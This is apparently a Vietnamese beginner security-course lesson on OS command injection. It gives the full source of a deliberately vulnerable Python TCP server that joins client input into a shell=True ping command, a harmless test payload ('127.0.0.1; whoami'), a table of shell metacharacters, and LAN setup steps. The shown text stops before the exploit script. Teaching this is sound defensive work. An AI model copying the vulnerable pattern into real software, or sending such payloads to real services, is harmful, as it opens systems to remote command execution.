BẢO MẬTCĂN BẢNTUẦN 01–04
BÀI 10

Cổng mở rồi thì sao? Khi dữ liệu gửi vào port điều khiển được cả máy

Câu hỏi xuyên suốt: bài 8 đã quét ra cổng 9500 đang mở trên một thiết bị. Gửi dữ liệu vào đúng cổng đó, điều gì có thể xảy ra nếu chương trình đứng sau không kiểm tra kỹ?

Thời lượng: khoảng 1 giờ 45 phút, chia hai buổi: bước 1–2 (hiểu lỗi), bước 3–6 (tự tay chứng minh và vá). Có 4 bài tập, bài cuối làm ở nhà

Bốn bước từ cổng mở tới lỗ hổng: quét ra cổng, gửi dữ liệu thử, lệnh lạ chạy ngoài ý, rồi vá và báo cáo.
Bốn bước từ cổng mở tới lỗ hổng: quét ra cổng, gửi dữ liệu thử, lệnh lạ chạy ngoài ý, rồi vá và báo cáo.
01

Bài này làm gì?

5 phút
QuétThấy cổng mở
Gửi dữ liệuThử input lạ
Lỗ hổngLệnh chạy ngoài ý
Vá & báo cáoKiểm tra đầu vào
Tình huốngBài 8 đã quét ra: máy "HomeLand" trong câu lạc bộ có cổng 9500 đang mở. Thủ quỹ hỏi: "Mở vậy có sao không?" Bài này trả lời bằng ví dụ thật: cài một ứng dụng nhỏ cố ý có lỗi, tự tay gửi dữ liệu vào, xem điều gì xảy ra — rồi học cách sửa.

Nhắc lại từ bài 8: mở chỉ cho biết "có một chương trình đang lắng nghe ở đây". Chương trình đó an toàn hay có lỗi là câu chuyện khác, và chỉ biết được khi nhìn vào cách nó xử lý dữ liệu gửi tới.

Bốn việc, làm theo thứ tự

ViệcCâu hỏiLàm ở
1. Hiểu lỗiLỗi gì khiến dữ liệu gửi vào biến thành lệnh?Bước 1 và 2
2. Cài thiết bị có lỗiChạy thử một ứng dụng cố ý có lỗiBước 3
3. Chứng minhGửi dữ liệu, thấy lệnh lạ chạy thậtBước 4
4. Vá và báo cáoSửa đúng cách, báo đúng ngườiBước 5 và 6

Cần chuẩn bị

  • Đã học xong bài 8: biết cách quét ra thiết bị và cổng mở bằng lan_inventory.py hoặc port_scan.py.
  • Python 3.8 trở lên và terminal. Một máy là đủ cho toàn bài (dùng hai cửa sổ terminal, như bài 9); có máy thứ hai trong cùng mạng thì demo "cách xa nhau" rõ hơn.
Quy tắc an toànỨng dụng "HomeLand" trong bài này cố ý có lỗi để học, không đại diện cho thiết bị thật nào bạn đang dùng. Chỉ chạy nó trên máy của bạn; chỉ mở cho mạng của bạn khi có máy thứ hai và cả hai bên đồng ý; không bao giờ đưa lên Internet. Không thử các bước trong bài trên thiết bị hay mạng không phải của mình.
02

Bước 1 · Vì sao "cổng mở" chưa nói lên điều gì

10 phút
Cổng đóngKhông ai lắng nghe
Cổng mở, code cẩn thậnKiểm tra trước khi làm theo
Cổng mở, code chủ quanTin luôn dữ liệu gửi tới

Ví von tiếp bài 8: cổng giống một cái cửa. Cửa mở chỉ cho biết "có người ở nhà, sẵn sàng nghe". Khách gõ cửa nói gì, chủ nhà có kiểm tra trước khi làm theo hay không — đó mới là điều quyết định.

Trường hợpKhách gõ cửa nói gì cũng được làm theo?An toàn tới đâu
Cổng đóngKhông ai nghe, không có gì để gửi tớiAn toàn vì không ai lắng nghe
Cổng mở, code cẩn thậnChương trình kiểm tra dữ liệu trước khi dùngAn toàn dù cổng mở
Cổng mở, code chủ quanChương trình làm đúng theo chuỗi nhận được, không hỏi lạiNguy hiểm: dữ liệu gửi vào có thể trở thành lệnh
Ví dụ đời thườngMột quán ăn nhận gọi món bằng giấy nhỏ. Nhân viên bếp làm đúng những gì giấy ghi, không hỏi lại. Nếu ai viết thêm vào giấy "...và mở két tiền", nhân viên ngây thơ có thể làm theo luôn vì không phân biệt được "món ăn" với "lệnh khác bị gắn thêm". trong phần mềm giống vậy.

Muốn biết dịch vụ ở một cổng có mắc lỗi dạng này hay không, phải thử gửi dữ liệu vào và quan sát. Bước 3 và 4 làm đúng việc đó, trên một ứng dụng dựng riêng để học, không chạm vào thiết bị thật của ai.

03

Bước 2 · Một lỗi quen thuộc: chèn lệnh hệ thống (command injection)

20 phút
Server mong1 địa chỉ IP
Client gửiIP + ký tự lạ
Ghép chuỗiKhông kiểm tra
OS hiểu 2 lệnhChạy cả hai

Lỗi học trong bài này tên là — đứng đầu danh sách OWASP Top 10 (danh sách lỗi phổ biến và nguy hiểm nhất của phần mềm) nhiều năm liền. Injection có nhiều dạng: chèn vào câu lệnh cơ sở dữ liệu (SQL injection), chèn vào trang HTML (XSS)… Bài này học đúng dạng chèn vào lệnh hệ điều hành, vì nó dễ thấy bằng mắt nhất và không cần cơ sở dữ liệu hay trình duyệt.

1Client (B)gửi "PING 127.0.0.1"2Server nhậnvuln_app.pyđọc chuỗi thô3Ghép vào lệnh shellKHÔNG kiểm tra4OS thực thichạy đúng chuỗinhận đượcDòng code (vuln_app.py):cmd = f"ping -c 1 -t 1 {target}"target là nguyên văn chuỗi client gửi — không dòng nào kiểm tra nó trước khi ghép vào cmd.Input bình thường"127.0.0.1" → đúng 1 lệnh pingInput bị gài thêm lệnh"127.0.0.1; whoami" → 2 lệnh
Hình 1. Dữ liệu từ client đi thẳng tới chặng ghép chuỗi vào lệnh shell (khung nét đứt đỏ) mà không qua bước kiểm tra nào. Đúng tại đó, hệ điều hành ở chặng cuối không còn phân biệt được phần nào server định sẵn, phần nào client gửi thêm.

Chặng nguy hiểm là chặng 3: server ghép thẳng chuỗi nhận được vào một câu lệnh shell, không hề kiểm tra. Dấu ; trong dòng lệnh có nghĩa đặc biệt với shell: "kết thúc câu này, bắt đầu câu mới". Không kiểm tra thì shell cứ làm đúng như vậy.

PING 127.0.0.1; whoamiPhần hợp lệĐúng dạng IPv4, server mong đợi điều nàyKết thúc câu lệnhDấu ; báo cho shell: "câu ping xong, sang câu mới"Lệnh gắn thêmwhoami chạy thêm, ngoài ý định của serverShell chỉ nhìn thấy MỘT chuỗi ký tự dài, không phân biệt đượcđâu là phần server định sẵn, đâu là phần client gắn thêm.
Hình 2. Với shell, dấu ; có nghĩa đặc biệt: "kết thúc lệnh này, bắt đầu lệnh tiếp theo". Server chỉ mong một địa chỉ IP nên không kiểm tra, và vô tình nhận luôn phần sau dấu ; làm một lệnh mới.
Payload — không phải lúc nào cũng xấuChuỗi "127.0.0.1; whoami" gọi là : dữ liệu soạn có chủ ý để kiểm tra một hành vi. Người kiểm thử bảo mật dùng payload vô hại (như whoami, chỉ in tên người dùng) để chứng minh lỗi tồn tại, không phải để phá hoại. Bài này chỉ dừng ở đó.
Đọc thêm: vì sao chỉ một dấu ; lại nguy hiểm đến vậy, và còn ký tự nào nữa? (không bắt buộc)

Với hầu hết shell (bash, sh, PowerShell, cmd), một số ký tự có nghĩa đặc biệt ngoài việc là chữ:

Ký tựShell hiểu là gì
;Kết thúc lệnh này, chạy tiếp lệnh sau
&&Chạy lệnh sau nếu lệnh trước thành công
|Đưa kết quả lệnh trước làm đầu vào cho lệnh sau
$(...) hoặc `...`Chạy lệnh trong dấu này trước, rồi thay bằng kết quả
>, <Ghi ra file hoặc đọc từ file

Bất kỳ ký tự nào trong bảng trên xuất hiện trong dữ liệu người dùng mà bị ghép thẳng vào lệnh shell đều có thể gây injection, không chỉ riêng dấu ;. Đây là lý do cách sửa đúng ở bước 5 không phải "chặn dấu ;" mà là đổi hẳn cách gọi lệnh.

Nối với bài 5: cùng là "dữ liệu đi qua một ", nhưng bài 5 hỏi "dữ liệu tới đâu", còn bài này hỏi "dữ liệu đó được chương trình xử lý ra sao sau khi tới". Hai câu hỏi khác nhau, cả hai đều cần để hiểu một hệ thống.

04

Bước 3 · Lab: cài "thiết bị" cố ý có lỗi để học

20 phút
Tạo thư mụcvuln-lab
Tải filevuln_app.py
ChạyLắng nghe cổng 9500
Trước khi bắt đầuApp trong bài cố ý có lỗi. Mặc định nó chỉ lắng nghe ở 127.0.0.1 (: chính máy bạn) — an toàn để học một mình bằng hai cửa sổ terminal. Chỉ thêm cờ --lan khi có một người bạn cùng làm, trên mạng của chính hai bạn, và cả hai đều biết việc này đang diễn ra.

5 file Python dùng trong bài này

FileChạy ở máy nàoÝ tưởng
vuln_app.pyMáy A · nạn nhânGiả lập thiết bị IoT, nhận lệnh PING qua TCP, ghép thẳng vào lệnh shell — cố ý có lỗi
port_scan.pyMáy B · kiểm thửQuét nhanh các cổng TCP của một thiết bị — bản gọn của lan_inventory.py ở bài 8
exploit_poc.pyMáy BGửi cùng một dữ liệu theo hai cách, tự đọc phản hồi để kết luận có lỗi hay không
vuln_app_fixed.pyMáy ACùng tính năng PING, nhưng kiểm tra đầu vào trước khi chạy bất kỳ lệnh nào
nmap_report.pyMáy B · tùy chọnĐọc file quét của nmap, tự xếp mức rủi ro theo từng cổng khi soát nhiều thiết bị

Cả 5 file chỉ dùng thư viện có sẵn của Python, không cần cài thêm gì. Mỗi file được giới thiệu lại ngay trước khi dùng tới.

BƯỚC 1Tạo thư mục làm việc

MACOS
mkdir ~/vuln-lab
cd ~/vuln-lab
pwd
WINDOWS POWERSHELL
mkdir $HOME\vuln-lab
cd $HOME\vuln-lab
pwd
LINUX
mkdir ~/vuln-lab
cd ~/vuln-lab
pwd

BƯỚC 2Tạo file vuln_app.py

App giả lập một thiết bị điều khiển nhà thông minh tên "HomeLand Controller", nhận lệnh PING <ip> qua TCP để kiểm tra một thiết bị khác có online không.

vuln_app.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.

↓ Tải vuln_app.py
Xem mã Python · có tô màu và số dòng
PYTHON · vuln_app.py
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.

CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.

Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def handle(payload: str) -> str:
    """Xu ly mot dong lenh dang: PING <ten_thiet_bi>

    LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
    Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
    HAI lenh: ping va whoami. Day goi la command injection.
    """
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:]  # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
    flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
    cmd = f"ping {flags} {target}"  # <-- noi chuoi vao shell: NGUY HIEM
    try:
        out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true",
                     help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
        print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
MACOS: TẠO vuln_app.py
cat > vuln_app.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.

CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.

Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def handle(payload: str) -> str:
    """Xu ly mot dong lenh dang: PING <ten_thiet_bi>

    LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
    Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
    HAI lenh: ping va whoami. Day goi la command injection.
    """
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:]  # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
    flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
    cmd = f"ping {flags} {target}"  # <-- noi chuoi vao shell: NGUY HIEM
    try:
        out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true",
                     help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
        print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
EOF
WINDOWS POWERSHELL: TẠO vuln_app.py
@'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.

CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.

Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def handle(payload: str) -> str:
    """Xu ly mot dong lenh dang: PING <ten_thiet_bi>

    LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
    Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
    HAI lenh: ping va whoami. Day goi la command injection.
    """
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:]  # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
    flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
    cmd = f"ping {flags} {target}"  # <-- noi chuoi vao shell: NGUY HIEM
    try:
        out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true",
                     help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
        print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
'@ | Set-Content -Path vuln_app.py -Encoding ascii
LINUX: TẠO vuln_app.py
cat > vuln_app.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.

CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.

Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def handle(payload: str) -> str:
    """Xu ly mot dong lenh dang: PING <ten_thiet_bi>

    LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
    Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
    HAI lenh: ping va whoami. Day goi la command injection.
    """
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:]  # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
    flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
    cmd = f"ping {flags} {target}"  # <-- noi chuoi vao shell: NGUY HIEM
    try:
        out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true",
                     help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
        print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
EOF

BƯỚC 3Đọc đúng hai dòng gây lỗi

Mở "Xem mã Python" ở trên, tìm hàm handle(). Hai dòng sau là nơi lỗi nằm:

PhầnÝ nghĩa
target = payload[5:]Lấy nguyên văn phần sau chữ "PING ". Không kiểm tra gì cả.
cmd = f"ping {flags} {target}"Ghép target vào một chuỗi lệnh shell bằng f-string (flags chỉ là cờ ping cho đúng hệ điều hành, không liên quan tới lỗi).
subprocess.run(cmd, shell=True, ...)shell=True nghĩa là: đưa cả chuỗi cmd cho shell đọc như gõ tay ở terminal, kể cả các ký tự đặc biệt ở bảng bước 2.

BƯỚC 4Chạy thử, giữ cửa sổ này mở

MACOS
python3 vuln_app.py
WINDOWS
py vuln_app.py
LINUX
python3 vuln_app.py
KẾT QUẢ MẪU
[HomeLand - DEMO CO LOI] dang lang nghe 127.0.0.1:9500
Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.

Đây là Terminal A, đóng vai máy "HomeLand". Giữ nguyên, không tắt. Mở một cửa sổ terminal khác cho bước 4; cả hai đều đứng trong thư mục vuln-lab.

Có máy thứ hai? Đẩy demo đi xa hơn

Mặc định vuln_app.py chỉ lắng nghe ở 127.0.0.1 (), nên Terminal B dùng chung máy mới gửi được dữ liệu tới. Muốn Terminal B đứng trên một máy khác, giống bài 9 khi chuyển từ một máy sang hai máy, cần đổi đúng hai thứ:

ViệcMột máy (mặc định)Hai máy thật
Chạy app ở Máy Apython3 vuln_app.pypython3 vuln_app.py --lan
Địa chỉ Terminal B gọi tới127.0.0.1IP mạng của Máy A (xem bằng lệnh bài 6/8)
Mạng cần cóKhông cần Wi-FiHai máy cùng một Wi-Fi/LAN, không phải mạng khách cách ly (bài 8)

Lấy IP của Máy A — thực hiện ngay ở Terminal A, ghi lại số này để dùng ở bước 4:

MACOS
ipconfig getifaddr en0
WINDOWS
ipconfig
LINUX
hostname -I

Ví dụ ra 192.168.68.56 (Windows: tìm dòng "IPv4 Address"). Đây đúng là lệnh đã dùng ở bài 6/8, nhắc lại cho gọn.

Máy A · ví dụ 192.168.68.56python3 vuln_app.py --lannghe trên 0.0.0.0 : 9500Máy B · trên cùng Wi-Fiport_scan.py 192.168.68.56exploit_poc.py 192.168.68.56cùng một mạng Wi-Fi/LAN — bắt buộc, không phải mạng khách① Máy B gửi TCP tới cổng 9500port_scan.py xác nhận cổng mở trước② Máy A xử lý và trả lờiKết quả quay lại đúng Terminal BMạng khách hoặc bật cách ly thiết bị (AP isolation): hai máy KHÔNG thấy nhaudù hiện cùng một tên Wi-Fi. Nối cả hai máy vào mạng chính (xem bài 8).
Hình 3. Cờ --lan khiến Máy A lắng nghe trên mọi card mạng (0.0.0.0), không chỉ chính nó. Máy B chỉ cần biết đúng IP của Máy A và ở trong cùng mạng Wi-Fi/LAN — không phải mạng khách bị cách ly thiết bị (bài 8).

Cờ --lan đổi nơi app lắng nghe từ 127.0.0.1 sang 0.0.0.0 (mọi card mạng của máy, không chỉ chính nó) — đúng chỗ bài 9 từng nhắc: "quên đổi 127.0.0.1 là lỗi số một khi chuyển từ một máy sang hai máy".

Lần đầu bind ra mạng, hệ điều hành có thể hỏimacOS hiện hộp "Do you want the application 'Python' to accept incoming network connections?" → chọn Allow. Windows hiện hộp Windows Defender Firewall → tick Private networks → Allow access. Từ chối nhầm thì Terminal B sẽ treo rồi báo "timed out", không phải lỗi code.
Đọc thêm: hai máy không kết nối được, vì sao? (không bắt buộc)
Hiện tượngNguyên nhân thường gặpCách sửa
Terminal B báo "Connection refused" ngayQuên thêm --lan ở Máy A, app vẫn chỉ nghe 127.0.0.1Thêm --lan khi chạy vuln_app.py
Treo lâu rồi báo "timed out"Firewall của Máy A chặn im lặng, hoặc hai máy ở hai mạng khác nhauCho phép Python qua firewall (xem callout trên); kiểm tra cả hai cùng tên Wi-Fi
Một máy cắm dây, một máy Wi-Fi, cùng tên mạng nhưng vẫn "timed out"Router cách ly thiết bị Wi-Fi khỏi cổng dây (AP/Client Isolation), dù cùng SSIDVào trang quản trị router (thường 192.168.1.1), mục Wi-Fi → tắt "AP Isolation"/"Client Isolation"
Cùng Wi-Fi vẫn không vào đượcMạng đang cách ly thiết bị (mạng khách) — xem bài 8Nối cả hai máy vào mạng chính, không phải mạng khách
python3: command not found trên WindowsWindows dùng lệnh khácĐổi thành py thay cho python3

Vẫn không được? Chẩn đoán theo đúng thứ tự này, đừng đoán:

  1. Ping trước để tách lớp mạng khỏi lớp ứng dụng. Từ Terminal B: ping <IP Máy A>. Không ping được → lỗi ở tầng mạng, làm bước 2 và 4. Ping được mà port vẫn không vào → lỗi ở Máy A, làm bước 3.
  2. Tắt cách ly thiết bị trên router. Mục Wi-Fi trong trang quản trị router thường có "AP Isolation"/"Client Isolation"/"Wireless Isolation" — bật mặc định ở nhiều router, chặn cả Wi-Fi nói chuyện với máy cắm dây dù cùng mạng.
  3. Xác nhận Máy A lắng nghe đúng chỗ. Trên Máy A: netstat -an | grep 9500 (macOS/Linux) hoặc netstat -an | findstr 9500 (Windows). Phải thấy 0.0.0.0.9500, không phải 127.0.0.1.9500 — thấy loopback nghĩa là quên --lan.
  4. So dải IP hai máy. Ba số đầu IP (ví dụ 192.168.1) phải giống nhau trên cả hai máy. Một số router phát Wi-Fi và cổng LAN dây ở hai dải khác nhau dù cùng tên mạng hiển thị.
Hết thời gian sửa router? Dùng hotspot điện thoại, giống bước 7 của bài 8Không ping qua được thường là do router cách ly dây↔Wi-Fi hoặc hai dải IP khác nhau — việc bạn không sửa được nếu không có quyền quản trị router. Bật phát Wi-Fi trên điện thoại, nối cả hai máy vào đúng hotspot đó (máy đang cắm dây tạm chuyển sang Wi-Fi), lấy lại IP mới của Máy A rồi làm lại từ bước "Có máy thứ hai?". Hotspot né hẳn router cũ vì giờ cả hai chỉ là client của một thiết bị bạn kiểm soát.
Không thử đưa app ra ngoài Internet để né lỗi mạng nội bộvuln_app.py là lỗ hổng chạy lệnh từ xa thật, không mật khẩu. Port-forward hoặc chạy nó trên IP công cộng khiến bot quét Internet có thể tìm thấy và khai thác thật trong vài phút — không còn là demo trong lớp nữa. Mọi bước của bài này chỉ chạy trong mạng cục bộ (bài 8).
05

Bước 4 · Đóng vai kiểm thử: gửi dữ liệu, thấy lỗi chạy thật

20 phút
Quét cổng9500 đang mở
Gửi payloadPING ip; whoami
Server chạy 2 lệnhKhông ngờ tới
Thấy kết quảwhoami trả về
XEM TỪNG CẢNH · MÔ PHỎNG MINH HỌA

Xem trước: lỗi chèn lệnh xảy ra thế nào?

Theo chân một payload vô hại, từ lúc gửi đi tới lúc chứng minh được lỗi. Mỗi cảnh tương ứng một việc trong code.

1Quét ra cổng mở
“Cổng 9500 đang mở, nhưng là dịch vụ gì?”Máy B (kiểm thử)port_scan.pyĐang quét192.168.x.x:9500TRẠNG THÁI: openChưa biết là gìMáy A (HomeLand)vuln_app.pyĐang lắng nghe

Bài 8 dạy cách tìm thiết bị; bước này tìm xem thiết bị có cổng nào mở. Cổng mở chỉ cho biết "có ai lắng nghe ở đây", chưa cho biết an toàn hay không.

Điều cần hiểu: Biết cổng mở, chưa biết chương trình đứng sau có lỗi.

2Gửi dữ liệu kiểm tra (payload)
“Nếu gửi thêm một lệnh sau dấu ; thì sao?”Máy Bexploit_poc.pyGửi payloadDữ liệu gửi điPING 127.0.0.1; whoamiGắn thêm lệnhMáy AĐang nhận chuỗiChưa xử lý

"Payload" là dữ liệu soạn có chủ ý để kiểm tra một lỗ hổng. Ở đây chỉ gắn thêm một lệnh vô hại (whoami) để chứng minh, không xoá hay lấy gì cả.

Điều cần hiểu: Dữ liệu đã lên đường; server A sắp phải xử lý chuỗi này.

3Server ghép chuỗi vào shell
“target được nối thẳng vào lệnh, không ai kiểm tra.”Máy Ahandle(payload)Đang xử lýcmd = f"ping…{target}"shell=TrueKHÔNG kiểm traHệ điều hànhNhận 1 chuỗi dàiKhông phân biệt được

Vì dùng shell=True và ghép chuỗi, hệ điều hành nhận một câu lệnh dài, coi dấu ; là "hết câu, sang câu khác" — đúng như gõ tay ở terminal.

Điều cần hiểu: Đây là khoảnh khắc lỗi command injection xảy ra.

4Lệnh gắn thêm đã chạy thật
“whoami chạy thật, in ra tên người dùng của máy A.”Máy Awhoami → "longnguyen"Đã thực thiKết quả trả vềQua cổng 9500Gửi lại cho BMáy BNhận và đọc kết quảChứng minh được lỗi

Máy B chưa từng đăng nhập vào máy A, nhưng vẫn khiến máy A chạy một lệnh do B chọn. Đây là hậu quả thật của command injection, không phải giả định.

Điều cần hiểu: Lỗ hổng đã được chứng minh bằng một lệnh vô hại — bước tiếp theo là vá, không khai thác thêm.

Hình minh họa không chạy Python và không gửi gói tin. Bấm Tiếp để học theo nhịp của bạn; Phát tự chuyển cảnh mỗi 9 giây.

BƯỚC 1Ôn lại bài 8: xác nhận cổng đang mở

